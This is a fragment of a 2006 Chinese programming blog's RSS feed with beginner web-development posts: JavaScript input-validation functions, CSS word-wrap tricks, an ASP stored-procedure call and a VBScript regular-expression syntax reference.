				<br />function fucPWDchk(str)<br />{<br />  var strSource ="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br />  var ch;<br />  var i;<br />  var temp;<br />  <br />  for (i=0;i&lt;=(str.length-1);i++)<br />  {<br />  <br />    ch = str.charAt(i);<br />    temp = strSource.indexOf(ch);<br />    if (temp==-1) <br />    {<br />     return 0;<br />    }<br />  }<br />  if (strSource.indexOf(ch)==-1)<br />  {<br />    return 0;<br />  }<br />  else<br />  {<br />    return 1;<br />  } <br />}</p>
		<p>function jtrim(str)<br />{     while (str.charAt(0)==" ")<br />          {str=str.substr(1);}      <br />     while (str.charAt(str.length-1)==" ")<br />         {str=str.substr(0,str.length-1);}<br />     return(str);<br />}</p>
		<p>//函数名：fucCheckNUM<br />//功能介绍：检查是否为数字<br />//参数说明：要检查的数字<br />//返回值：1为是数字，0为不是数字</p>
		<p>function fucCheckNUM(NUM)<br />{<br /> var i,j,strTemp;<br /> strTemp="0123456789";<br /> if ( NUM.length== 0)<br />  return 0<br /> for (i=0;i&lt;NUM.length;i++)<br /> {<br />  j=strTemp.indexOf(NUM.charAt(i)); <br />  if (j==-1)<br />  {<br />  //说明有字符不是数字<br />   return 0;<br />  }<br /> }<br /> //说明是数字<br /> return 1;<br />}<br />//函数名：fucCheckTEL<br />//功能介绍：检查是否为电话号码<br />//参数说明：要检查的字符串<br />//返回值：1为是合法，0为不合法</p>
		<p>function fucCheckTEL(TEL)<br />{<br /> var i,j,strTemp;<br /> strTemp="0123456789-()# ";<br /> for (i=0;i&lt;TEL.length;i++)<br /> {<br />  j=strTemp.indexOf(TEL.charAt(i)); <br />  if (j==-1)<br />  {<br />  //说明有字符不合法<br />   return 0;<br />  }<br /> }<br /> //说明合法<br /> return 1;<br />}</p>
		<p>//函数名：fucCheckLength<br />//功能介绍：检查字符串的长度<br />//参数说明：要检查的字符串<br />//返回值：长度值</p>
		<p>function fucCheckLength(strTemp)<br />{<br /> var i,sum;<br /> sum=0;<br /> for(i=0;i&lt;strTemp.length;i++)<br /> {<br />  if ((strTemp.charCodeAt(i)&gt;=0) &amp;&amp; (strTemp.charCodeAt(i)&lt;=255))<br />   sum=sum+1;<br />  else<br />   sum=sum+2;<br /> }<br /> return sum;<br />}<br /></p>
<img src ="http://www.blogjava.net/jackywjj/aggbug/68029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2006-09-06 14:52 <a href="http://www.blogjava.net/jackywjj/articles/68029.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CSS网页制作时实现自动换行的小技巧</title><link>http://www.blogjava.net/jackywjj/articles/68028.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Wed, 06 Sep 2006 06:51:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/68028.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/68028.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/68028.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/68028.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/68028.html</trackback:ping><description><![CDATA[
		<p>大家都知道连续的英文或数字能是容器被撑大，不能根据容器的大小自动换行，下面是 CSS如何将他们换行的方法！ </p>
		<p>对于div </p>
		<p>1.（IE浏览器）white-space:normal; word-break:break-all;这里前者是遵循标准。</p>
		<p>#wrap{white-space:normal; width:200px; }<br />或者<br />#wrap{word-break:break-all;width:200px;}<br />&lt;div id="wrap"&gt;ddd1111111111111111111111111111111111&lt;/div&gt;</p>
		<p>效果：可以实现换行 </p>
		<p>2.（Firefox浏览器）white-space:normal; word-break:break-all;overflow:hidden;同样的FF下也没有很好的实现方法，只能隐藏或者加滚动条，当然不加滚动条效果更好！ </p>
		<p>#wrap{white-space:normal; width:200px; overflow:auto;}<br />或者<br />#wrap{word-break:break-all;width:200px; overflow:auto; }<br />&lt;div id="wrap"&gt;ddd1111111111111111111111111111111111111111&lt;/div&gt;<br />效果：容器正常，内容隐藏 </p>
		<p>对于table </p>
		<p>1. (IE浏览器)使用样式table-layout:fixed； </p>
		<p>&lt;style&gt;<br />.tb{}{table-layout:fixed}<br />&lt;/style&gt;<br />&lt;table class="tbl" width="80"&gt;<br />&lt;tr&gt;<br />&lt;td&gt;abcdefghigklmnopqrstuvwxyz 1234567890<br />&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt;<br />效果：可以换行 </p>
		<p>2.(IE浏览器)使用样式table-layout:fixed与nowrap </p>
		<p>&lt;style&gt;<br />.tb {}{table-layout:fixed}<br />&lt;/style&gt;<br />&lt;table class="tb" width="80"&gt;<br />&lt;tr&gt;<br />&lt;td nowrap&gt;abcdefghigklmnopqrstuvwxyz 1234567890<br />&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt;<br />效果：可以换行 </p>
		<p>3. (IE浏览器)在使用百分比固定td大小情况下使用样式table-layout:fixed与nowrap </p>
		<p>&lt;style&gt;<br />.tb{}{table-layout:fixed}<br />&lt;/style&gt;<br />&lt;table class="tb" width=80&gt;<br />&lt;tr&gt;<br />&lt;td width=25% nowrap&gt;abcdefghigklmnopqrstuvwxyz 1234567890<br />&lt;/td&gt;<br />&lt;td nowrap&gt;abcdefghigklmnopqrstuvwxyz 1234567890<br />&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt;<br />效果：两个td均正常换行 </p>
		<p>3.(Firefox浏览器)在使用百分比固定td大小情况下使用样式table-layout:fixed与nowrap,并且使用div </p>
		<p>&lt;style&gt;<br />.tb {}{table-layout:fixed}<br />.td {}{overflow:hidden;}<br />&lt;/style&gt;<br />&lt;table class=tb width=80&gt;<br />&lt;tr&gt;<br />&lt;td width=25% class=td nowrap&gt;<br />&lt;div&gt;abcdefghigklmnopqrstuvwxyz 1234567890&lt;/div&gt;<br />&lt;/td&gt;<br />&lt;td class=td nowrap&gt;<br />&lt;div&gt;abcdefghigklmnopqrstuvwxyz 1234567890&lt;/div&gt;<br />&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;/table&gt;<br />这里单元格宽度一定要用百分比定义 </p>
		<p>效果：正常显示，但不能换行（注：在FF下还没有能使容器内容换行的好方法，只能用overflow将多出的内容隐藏，以免影响整体效果）</p>
<img src ="http://www.blogjava.net/jackywjj/aggbug/68028.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2006-09-06 14:51 <a href="http://www.blogjava.net/jackywjj/articles/68028.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>代码调存储过程</title><link>http://www.blogjava.net/jackywjj/articles/67304.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Sat, 02 Sep 2006 12:13:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/67304.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/67304.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/67304.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/67304.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/67304.html</trackback:ping><description><![CDATA[
		<p>'建一个command对象<br />set comm = server.CreateObject ("adodb.command")<br />'建立连接<br />comm.ActiveConnection = conn<br />'设置command调用类型是存储过程 (adCmdSPStoredProc = 4)<br />comm.CommandType = 4<br />'定义command 对象调用名称 <br />comm.CommandText = "P_advkind"<br />'定义输入参数<br />set CommPa1 = comm.CreateParameter ("参数1" , adVarChar , adParamInput , 10 , "参数1")<br />set CommPa2 = comm.CreateParameter ("参数2" , VarChar ,adParamInput ,20 , 参数2)<br />set CommPa3 = comm.CreateParameter ("参数3" ,varChar ,adParamInput ,100 , 参数3)<br />set CommPa4 = comm.CreateParameter ("参数4" ,vrChar ,adParamInput ,1000 , 参数4)</p>
		<p>AddPadd 4</p>
		<p>'运行存储过程<br />comm.Execute</p>
		<p>'清空对象<br />Set comm.ActiveConnection = nothing<br />Set comm = nothing</p>
		<p>Response.Redirect "/success.asp?zho="&amp;server.URLEncode ("添加成功！")</p>
		<p>CloseDB</p>
		<p>sub AddPadd(num)<br /> dim i<br /> for i=1 to num<br />  execute "comm.Parameters.Append CommPa"&amp;i<br />    next<br />end sub<br />%&gt;</p>
<img src ="http://www.blogjava.net/jackywjj/aggbug/67304.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2006-09-02 20:13 <a href="http://www.blogjava.net/jackywjj/articles/67304.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VBS正则表达式语法</title><link>http://www.blogjava.net/jackywjj/articles/67303.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Sat, 02 Sep 2006 12:12:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/67303.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/67303.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/67303.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/67303.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/67303.html</trackback:ping><description><![CDATA[
		<p>正则表达式语法</p>
		<p>一个正则表达式就是由普通字符（例如字符 a 到 z）以及特殊字符（称为元字符）组成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符串。正则表达式作为一个模板，将某个字符模式与所搜索的字符串进行匹配。</p>
		<p>这里有一些可能会遇到的正则表达式示例：</p>
		<p>Visual Basic VBscript 匹配 <br />scripting Edition </p>
		<p>/^\[ \t]*$/ "^\[ \t]*$" 匹配一个空白行。 </p>
		<p>/\d{2}-\d{5}/ "\d{2}-\d{5}" 验证一个ID号码是否由一个2位字，一<br />个连字符以及一个5位数字组成。</p>
		<p>/&lt;(.*)&gt;.*&lt;\/\1&gt;/ "&lt;(.*)&gt;.*&lt;\/\1&gt;" 匹配一个 HTML 标记。 </p>
		<p>
				<br />下表是元字符及其在正则表达式上下文中的行为的一个完整列表：</p>
		<p>字符 描述 </p>
		<p>\ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 后<br />向引用、或一个八进制转义符。例如，'n' 匹配字符 "n"。'\n' <br />匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。 </p>
		<p>^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 <br />Multiline 属性，^ 也匹配 '\n' 或 '\r' 之后的位置。 </p>
		<p>$ 匹配输入字符串的结束位置。如果设置了 RegExp 对象的 <br />Multiline 属性，$ 也匹配 '\n' 或 '\r' 之前的位置。 </p>
		<p>* 匹配前面的子表达式零次或多次。例如，zo* 能匹配 "z" 以及<br />"zoo"。 * 等价于{0,}。 </p>
		<p>+ 匹配前面的子表达式一次或多次。例如，'zo+' 能匹配 "zo" 以<br />及 "zoo"，但不能匹配 "z"。+ 等价于 {1,}。 </p>
		<p>? 匹配前面的子表达式零次或一次。例如，"do(es)?" 可以匹配<br />"do" 或 "does" 中的"do" 。? 等价于 {0,1}。 </p>
		<p>{n} n 是一个非负整数。匹配确定的 n 次。例如，'o{2}' 不能匹配<br />"Bob" 中的 'o'，但是能匹配 "food" 中的两个 o。 </p>
		<p>{n,} n 是一个非负整数。至少匹配n 次。例如，'o{2,}' 不能匹配 <br />"Bob" 中的 'o'，但能匹配 "foooood" 中的所有 o。'o{1,}' <br />等价于 'o+'。'o{0,}' 则等价于 'o*'。 </p>
		<p>{n,m} m 和 n 均为非负整数，其中n &lt;= m。最少匹配 n 次且最多匹<br />配 m 次。刘， "o{1,3}" 将匹配 "fooooood" 中的前三个o。<br />'o{0,1}'等价于'o?'。请注意在逗号和两个数之间不能有空格</p>
		<p>? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,},<br />{n,m}) 后面时，匹配模式是非贪婪的。非贪婪模式尽可能少的 <br />匹配所搜索的字符串，而默认的贪婪模式则尽可能多的匹配所搜<br />索的字符串。例如，对于字符串 "oooo"，'o+?' 将匹配单个 <br />"o"，而 'o+' 将匹配所有 'o'。 </p>
		<p>. 匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任<br />何字符，请使用象 '[.\n]' 的模式。 </p>
		<p>(pattern) 匹配pattern 并获取这一匹配。所获取的匹配可以从产生的 <br />Matches 集合得到，在VBscript 中使用 SubMatches 集合，在<br />Visual Basic scripting Edition 中则使用 $0…$9 属性。要<br />匹配圆括号字符，请使用 '\(' 或 '\)'。</p>
		<p>(?:pattern) 匹配 pattern 但不获取匹配结果，也就是说这是一个非获取匹<br />配，不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合<br />一个模式的各个部分是很有用。例如， 'industr(?:y|ies) 就<br />是一个比 'industry|industries' 更简略的表达式。</p>
		<p>(?=pattern) 正向预查，在任何匹配 pattern 的字符串开始处匹配查找字符<br />串。这是一个非获取匹配，也就是说，该匹配不需要获取供以后<br />使用。例如，'Windows (?=95|98|NT|2000)' 能匹配"Windows <br />2000"中的"Windows"，但不能匹配"Windows3 .1"中"Windows"。<br />预查不消耗字符，也就是说，在一个匹配发生后，在最后一次匹<br />配之后立即开始下一次匹配的搜索，而不是从包含预查的字符之<br />后开始。 </p>
		<p>(?!pattern) 负向预查，在任何不匹配Negative lookahead matches the <br />search string at any point where a string not matching <br />pattern 的字符串开始处匹配查找字符串。这是一个非获取匹<br />配，也就是说，该匹配不需要获取供以后使用。例如'Windows<br />(?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows"，<br />但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字<br />符，也就是说，在一个匹配发生后，在最后一次匹配之后立即开<br />始下一次匹配的搜索，而不是从包含预查的字符之后开始 </p>
		<p>x|y 匹配 x 或 y。例如，'z|food' 能匹配 "z" 或 "food"。'(z|f)<br />ood' 则匹配 "zood" 或 "food"。 </p>
		<p>[xyz] 字符集合。匹配所包含的任意一个字符。例如， '[abc]' 可以<br />匹配 "plain" 中的 'a'。</p>
		<p>[^xyz] 负值字符集合。匹配未包含的任意字符。例如， '[^abc]' 可以<br />匹配 "plain" 中的'p'。 </p>
		<p>[a-z] 字符范围。匹配指定范围内的任意字符。例如，'[a-z]' 可以匹<br />配 'a' 到 'z' 范围内的任意小写字母字符。 </p>
		<p>[^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如， <br />'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。</p>
		<p>\b 匹配一个单词边界，也就是指单词和空格间的位置。例如， <br />'er\b' 可以匹配"never" 中的 'er'，但不能匹配 "verb" 中<br />的 'er'。 </p>
		<p>\B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er'，但不能匹<br />配 "never" 中的 'er'。</p>
		<p>\cx 匹配由x指明的控制字符。例如， \cM 匹配一个 Control-M 或<br />回车符。 x 的值必须为 A-Z 或 a-z 之一。否则，将 c 视为一<br />个原义的 'c' 字符。 </p>
		<p>\d 匹配一个数字字符。等价于 [0-9]。 </p>
		<p>\D 匹配一个非数字字符。等价于 [^0-9]。 </p>
		<p>\f 匹配一个换页符。等价于 \x0c 和 \cL。 </p>
		<p>\n 匹配一个换行符。等价于 \x0a 和 \cJ。 </p>
		<p>\r 匹配一个回车符。等价于 \x0d 和 \cM。 </p>
		<p>\s 匹配任何空白字符，包括空格、制表符、换页符等等。等价于 <br />[ \f\n\r\t\v]。 </p>
		<p>\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 </p>
		<p>\t 匹配一个制表符。等价于 \x09 和 \cI。 </p>
		<p>\v 匹配一个垂直制表符。等价于 \x0b 和 \cK。 </p>
		<p>\w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。 </p>
		<p>\W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。</p>
		<p>\xn 匹配 n，其中 n 为十六进制转义值。十六进制转义值必须为确<br />定的两个数字长。例如， '\x41' 匹配 "A"。'\x041' 则等价<br />于 '\x04' &amp; "1"。正则表达式中可以使用 ASCII 编码。.</p>
		<p>\num 匹配 num，其中num是一个正整数。对所获取的匹配的引用。<br />例如，'(.)\1' 匹配两个连续的相同字符。 </p>
		<p>\n 标识一个八进制转义值或一个后向引用。如果 \n 之前至少 n <br />个获取的子表达式，则 n 为后向引用。否则，如果 n 为八进制<br />数字 (0-7)，则 n 为一个八进制转义值。 </p>
		<p>\nm 标识一个八进制转义值或一个后向引用。如果 \nm 之前至少有<br />is preceded by at least nm 个获取得子表达式，则 nm 为后<br />向引用。如果 \nm 之前至少有 n 个获取，则 n 为一个后跟文<br />字 m 的后向引用。如果前面的条件都不满足，若 n 和 m 均为<br />八进制数字 (0-7)，则 \nm 将匹配八进制转义值 nm。 </p>
		<p>\nml 如果 n 为八进制数字 (0-3)，且 m 和 l 均为八进制数字 (0-<br />7)，则匹配八进制转义值 nml。 </p>
		<p>\un 匹配 n，其中 n 是一个用四个十六进制数字表示的Unicode字<br />符。例如， \u00A9 匹配版权符号 (?)。 </p>
		<p>
				<br />优先权顺序</p>
		<p>在构造正则表达式之后，就可以象数学表达式一样来求值，也就是说，可以从左至右并按照一个优先权顺序来求值。 </p>
		<p>下表从最高优先级到最低优先级列出各种正则表达式操作符的优先权顺序：</p>
		<p>操作符 描述 </p>
		<p>\ 转义符 </p>
		<p>(), (?:), (?=), [] 圆括号和方括号 </p>
		<p>*, +, ?, {n}, {n,}, {n,m} 限定符 </p>
		<p>^, $, \anymetacharacter 位置和顺序 </p>
		<p>| “或”操作 </p>
		<p> </p>
		<p>特殊字符</p>
		<p>有不少元字符在试图对其进行匹配时需要进行特殊的处理。要匹配这些特殊字符，必须首先将这些字符转义，也就是在前面使用一个反斜杠 (\)。下表给出了这些特殊字符及其含义：</p>
		<p>特殊字符 说明 </p>
		<p>$ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline<br />属性，则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身，请使用 \$。</p>
		<p>( ) 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。<br />要匹配这些字符，请使用 \( 和 \)。 </p>
		<p>* 匹配前面的子表达式零次或多次。要匹配 * 字符，请使用 \*。 </p>
		<p>+ 匹配前面的子表达式一次或多次。要匹配 + 字符，请使用 \+。 </p>
		<p>. 匹配除换行符 \n之外的任何单字符。要匹配 .，请使用 \。 </p>
		<p>标记一个中括号表达式的开始。要匹配 [，请使用 \[。 </p>
		<p>? 匹配前面的子表达式零次或一次，或指明一个非贪婪限定符。要匹配 ? <br />字符，请使用 \?。 </p>
		<p>\ 将下一个字符标记为或特殊字符、或原义字符、或后向引用、或八进制<br />转义符。例如， 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\\' 匹<br />配 "\"，而 '\(' 则匹配 "("。 </p>
		<p>^ 匹配输入字符串的开始位置，除非在方括号表达式中使用，此时它表示<br />不接受该字符集合。要匹配 ^ 字符本身，请使用 \^。 </p>
		<p>{ 标记限定符表达式的开始。要匹配 {，请使用 \{。 </p>
		<p>| 指明两项之间的一个选择。要匹配 |，请使用 \|。 </p>
		<p> </p>
		<p>非打印字符</p>
		<p>有不少很有用的非打印字符，偶尔必须使用。下表显示了用来表示这些非打印字符的转义序列：</p>
		<p>字符 含义 </p>
		<p>\cx 匹配由x指明的控制字符。例如， \cM 匹配一个 Control-M 或回车符。 <br />x 的值必须为 A-Z 或 a-z 之一。否则，将 c 视为一个原义的 'c' 字 <br />符。 </p>
		<p>\f 匹配一个换页符。等价于 \x0c 和 \cL。 </p>
		<p>\n 匹配一个换行符。等价于 \x0a 和 \cJ。 </p>
		<p>\r 匹配一个回车符。等价于 \x0d 和 \cM。 </p>
		<p>\s 匹配任何空白字符，包括空格、制表符、换页符等等。等价于 <br />[\f\n\r\t\v]。 </p>
		<p>\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 </p>
		<p>\t 匹配一个制表符。等价于 \x09 和 \cI。 </p>
		<p>\v 匹配一个垂直制表符。等价于 \x0b 和 \cK。 </p>
		<p> </p>
		<p>字符匹配</p>
		<p>句点 (.) 匹配一个字符串中任何单个的打印或非打印字符，除了换行符 (\n) 之外。下面的 Visual Basic scripting Edition 正则表达式可以匹配 'aac'、'abc'、'acc'、'adc'如此等等，同样也可以匹配 'a1c'、'a2c'、a-c'以及 a#c'： </p>
		<p>/a.c/</p>
		<p>等价的 VBscript 正则表达式为：</p>
		<p>"a.c"</p>
		<p>如果试图匹配一个包含文件名的字符串，其中句点 (.) 是输入字符串的一部分，则可以在正则表达式中的句点前面加上一个反斜杠 (\) 字符来实现这一要求。举例来说，下面的 Visual Basic scripting Edition 正则表达式就能匹配 'filename.ext'：</p>
		<p>/filename\.ext/</p>
		<p>对 VBscript 而言，等价的表达式如下所示：</p>
		<p>"filename\.ext"</p>
		<p>这些表达式仍然是相当有限的。它们只允许匹配任何单字符。很多情况下，对从列表中匹配特殊字符十分有用。例如，如果输入文字中包含用数字表示为Chapter 1, Chapter 2诸如此类的章节标题，你可能需要找到这些章节标题。 </p>
		<p>
				<br />括号表达式</p>
		<p>可以在一个方括号 ([ 和 ]) 中放入一个或多个单字符，来创建一个待匹配的列表。如果字符被放入括号中括起来，则该列表称为括号表达式。括号内和其他任何地方一样，普通字符代表其本身，也就是说，它们匹配输入文字中出现的一处自己。大多数特殊字符在位于括号表达式中时都将失去其含义。这里有一些例外： </p>
		<p>1. ']' 字符如果不是第一项，则将结束一个列表。要在列表中匹配 ']' 字符，请将其放在第一项，紧跟在开始的 '[' 后面。</p>
		<p>2. '\' 仍然作为转义符。要匹配 '\' 字符，请使用 '\\'。 </p>
		<p>括号表达式中所包含的字符只匹配该括号表达式在正则表达式中所处位置的一个单字符。下面的 Visual Basic scripting Edition 正则表达式可以匹配 'Chapter 1'、'Chapter 2'、'Chapter 3'、'Chapter 4' 以及 'Chapter 5'：</p>
		<p>/Chapter ][12345]/</p>
		<p>在 VBscript 中要匹配同样的章节标题，请使用下面的表达式：</p>
		<p>"Chapter [12345]"</p>
		<p>请注意单词 'Chapter' 及后面的空格与括号内的字符的位置关系是固定的。因此，括号表达式只用来指定满足紧跟在单词 'Chapter' 和一个空格之后的单字符位置的字符集合。这里是第九个字符位置。</p>
		<p>如果希望使用范围而不是字符本身来表示待匹配的字符，则可以使用连字符将该范围的开始和结束字符分开。每个字符的字符值将决定其在一个范围内的相对顺序。下面的 Visual Basic scripting Edition 正则表达式包含了一个等价于上面所示的括号列表的范围表达式。</p>
		<p>/Chapter [1-5]/</p>
		<p>VBScipt 中相同功能的表达式如下所示：</p>
		<p>"Chapter [1-5]"</p>
		<p>如果以这种方式指定范围，则开始和结束值都包括在该范围内。有一点特别需要注意的是，在 Unicode 排序中起始值一定要在结束值之前。</p>
		<p>如果想在括号表达式中包括连字符，则必须使用下述方法之一： </p>
		<p>1. 使用反斜杠将其转义： [\-]</p>
		<p>2. 将连字符放在括号列表的开始和结束位置。下面的表达式能匹配所有的小写字母和连字符：[-a-z]，[a-z-]</p>
		<p>3. 创建一个范围，其中开始字符的值小于连字符，而结束字符的值等于或大于连字符。下面两个正则表达式都满足这一要求： [!--]，[!-~]</p>
		<p>同样，通过在列表开始处放置一个插入符(^)，就可以查找所有不在列表或范围中的字符。如果该插入符出现在列表的其他位置，则匹配其本身，没有任何特殊含义。下面的 Visual Basic scripting Edition 正则表达式匹配章节号大于 5 的章节标题：</p>
		<p>/Chapter [^12345]/</p>
		<p>对 VBscript 则使用：</p>
		<p>"Chapter [^12345]"</p>
		<p>在上面所示的示例中，表达式将匹配第九个位置处除1, 2, 3, 4, or 5 之外的任何数字字符。因此， 'Chapter 7' 为一个匹配，同样 'Chapter 9' 也是如此。 </p>
		<p>上面的表达式可以使用连字符 (-) 表示。对 Visual Basic scripting Edition 为：</p>
		<p>/Chapter [^1-5]/</p>
		<p>或者，对 VBscript 为：</p>
		<p>"Chapter [^1-5]"</p>
		<p>括号表达式的典型用法是指定对任何大写或小写字母字符或任何数字的匹配。下面的 Visual Basic scripting Edition 表达式给出了这一匹配：</p>
		<p>/[A-Za-z0-9]/</p>
		<p>等价的 VBscript 表达式为：</p>
		<p>"[A-Za-z0-9]" </p>
		<p>
				<br />限定符</p>
		<p>有时候不知道要匹配多少字符。为了能适应这种不确定性，正则表达式支持限定符的概念。这些限定符可以指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。</p>
		<p>下表给出了各种限定符及其含义的说明：</p>
		<p>字符 描述 </p>
		<p>* 匹配前面的子表达式零次或多次。例如，zo* 能匹配 "z" 以及 "zoo"。<br />* 等价于{0,}。 </p>
		<p>+ 匹配前面的子表达式一次或多次。例如，'zo+' 能匹配 "zo" 以<br />及 "zoo"，但不能匹配 "z"。+ 等价于 {1,}。 </p>
		<p>? 匹配前面的子表达式零次或一次。例如，"do(es)?" 可以匹配 "do" <br />或 "does" 中的"do" 。? 等价于 {0,1}。 </p>
		<p>{n} n 是一个非负整数。匹配确定的 n 次。例如，'o{2}' 不能匹配 "Bob" <br />中的 'o'，但是能匹配 "food" 中的两个 o。</p>
		<p>{n,} n 是一个非负整数。至少匹配n 次。例如，'o{2,}' 不能匹配 "Bob" 中 <br />的 'o'，但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o<br />{0,}' 则等价于 'o*'。 </p>
		<p>{n,m} m 和 n 均为非负整数，其中n &lt;= m。最少匹配 n 次且最多匹配 m 次。 <br />刘， "o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价<br />于 'o?'。请注意在逗号和两个数之间不能有空格。 </p>
		<p>
				<br />对一个很大的输入文档而言，章节数很轻易就超过九章，因此需要有一种方法来处理两位数或者三位数的章节号。限定符就提供了这个功能。下面的Visual Basic scripting Edition 正则表达式可以匹配具有任何位数的章节标题：</p>
		<p>/Chapter [1-9][0-9]*/</p>
		<p>下面的 VBscript 正则表达式执行同样的匹配：</p>
		<p>"Chapter [1-9][0-9]*"</p>
		<p>请注意限定符出现在范围表达式之后。因此，它将应用于所包含的整个范围表达式，在本例中，只指定了从 0 到 9 的数字。</p>
		<p>这里没有使用 '+' 限定符，因为第二位或后续位置上并不一定需要一个数字。同样也没有使用 '?' 字符，因为这将把章节数限制为只有两位数字。在 'Chapter' 和空格字符之后至少要匹配一个数字。</p>
		<p>如果已知章节数限制只有99 章，则可以使用下面的 Visual Basic scripting Edition 表达式来指定至少有一位数字，但不超过两个数字。</p>
		<p>/Chapter [0-9]{1,2}/</p>
		<p>对 VBscript 可以使用下述正则表达式：</p>
		<p>"Chapter [0-9]{1,2}"</p>
		<p>上述表达式的缺点是如果有一个章节号大于 99，它仍只会匹配前两位数字。另一个缺点是某些人可以创建一个 Chapter 0，而且仍能匹配。一个更好的用来匹配两位数的 Visual Basic scripting Edition 表达式如下：</p>
		<p>/Chapter [1-9][0-9]?/</p>
		<p>或者</p>
		<p>/Chapter [1-9][0-9]{0,1}/</p>
		<p>对 VBscript 而言，下述表达式与上面等价：</p>
		<p>"Chapter [1-9][0-9]?"</p>
		<p>或者</p>
		<p>"Chapter [1-9][0-9]{0,1}"</p>
		<p>'*'、 '+'和 '?' 限定符都称之为贪婪的，也就是说，他们尽可能多地匹配文字。有时这根本就不是所希望发生的情况。有时则正好希望最小匹配。 </p>
		<p>例如，你可能要搜索一个 HTML 文档来查找一处包含在 H1 标记中的章节标题。在文档中该文字可能具有如下形式：</p>
		<p>&lt;H1&gt;Chapter 1 – Introduction to Regular Expressions&lt;/H1&gt;</p>
		<p>下面的表达式匹配从开始的小于号 (&lt;) 到 H1 标记结束处的大于号之间的所有内容。</p>
		<p>/&lt;.*&gt;/</p>
		<p>VBscript 的正则表达式为：</p>
		<p>"&lt;.*&gt;"</p>
		<p>如果所要匹配的就是开始的 H1 标记，则下述非贪婪地表达式就只匹配 &lt;H1&gt;。</p>
		<p>/&lt;.*?&gt;/</p>
		<p>或者</p>
		<p>"&lt;.*?&gt;"</p>
		<p>通过在 '*'、 '+' 或 '?' 限定符后放置 '?'，该表达式就从贪婪匹配转为了非贪婪或最小匹配。</p>
		<p> </p>
		<p>
				<br />定位符</p>
		<p>到现在为止，所看到的示例都只考虑查找任何地方出现的章节标题。出现的任何一个字符串 'Chapter' 后跟一个空格和一个数字可能是一个真正的章节标题，也可能是对其他章节的交叉引用。由于真正的章节标题总是出现在一行的开始，因此需要设计一个方法只查找标题而不查找交叉引用。</p>
		<p>定位符提供了这个功能。定位符可以将一个正则表达式固定在一行的开始或结束。也可以创建只在单词内或只在单词的开始或结尾处出现的正则表达式。下表包含了正则表达式及其含义的列表：</p>
		<p>字符 描述 </p>
		<p>^ 匹配输入字符串的开始位置。如果设置了RegExp对象的 Multiline 属性，<br />^ 也匹配 '\n' 或 '\r' 之后的位置。 </p>
		<p>$ 匹配输入字符串的结束位置。如果设置了RegExp对象的 Multiline 属性，<br />$ 也匹配 '\n' 或 '\r' 之前的位置。 </p>
		<p>\b 匹配一个单词边界，也就是指单词和空格间的位置。 </p>
		<p>\B 匹配非单词边界。 </p>
		<p>
				<br />不能对定位符使用限定符。因为在一个换行符或者单词边界的前面或后面不会有连续多个位置，因此诸如 '^*' 的表达式是不允许的。</p>
